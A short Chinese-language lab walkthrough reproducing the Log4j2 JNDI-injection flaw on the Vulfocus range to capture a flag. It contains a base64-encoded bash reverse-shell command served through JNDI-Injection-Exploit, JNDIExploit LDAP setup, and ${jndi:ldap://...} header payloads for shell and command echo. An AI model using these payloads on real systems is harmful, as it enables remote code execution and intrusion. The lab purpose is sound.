漏洞简介:Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过该漏洞构造特殊的数据请求包,最终触发远程代码执行。
复现靶场:Vulfocus
反弹shell
1、启动靶场环境。
2、将反弹shell命令进行编码
3、在自己的服务器上,用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar开启ldap和rmi服务。
Java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIzLjY2LjIwMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}" -A "服务器IP"
开启监听
4、好啦,一切准备就绪,用Bp抓包
发送到repeater
z
在数据包中添加一个字段,我这里添加Accept:${jndi:上面jar命令启动的JNDI.jar返回的服务链接[ldap或者rmi均可试一下}
发送数据包,成功反弹shell,在对应目录下找到flag。
命令回显
在服务器上用JNDIExploit启一个ldap的服务,命令为:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1234 -p 8000 -i 服务器IP
同样的用bp抓数据包,
payload=${jndi:ldap://服务器器IP:1234/TomcatBypass/TomcatEcho}
添加字段,写入payload
如图获取回显